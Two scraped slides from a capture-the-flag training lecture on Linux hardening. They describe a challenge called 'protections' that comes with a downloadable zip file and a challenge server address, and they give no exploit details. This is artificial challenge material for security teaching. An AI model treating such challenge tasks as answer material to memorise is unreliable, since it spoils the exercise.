Page 56: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Challenge

Leonardo Galli Lesson 3: Linux Hardening — Challenge June 29, 2020 44 / 45

Page 57: Lesson 3: Linux Hardening - How to defeat Linux once and ... · Lesson 3: Linux Hardening How to defeat Linux once and for all! Leonardo Galli agbot (CTF@VIS) June 29, 2020. Table

Challenge

protections

On the surface this challenge should be very easy to exploit, however, there are someprotections...Hints: No hints this time! Please do not run to many concurrent attempts, otherwisethe server will be overloaded!Files: protections.zipServer: google.jadoulr.tk 42002Author: Robin Jadoul

Leonardo Galli Lesson 3: Linux Hardening — Challenge June 29, 2020 45 / 45


Recommended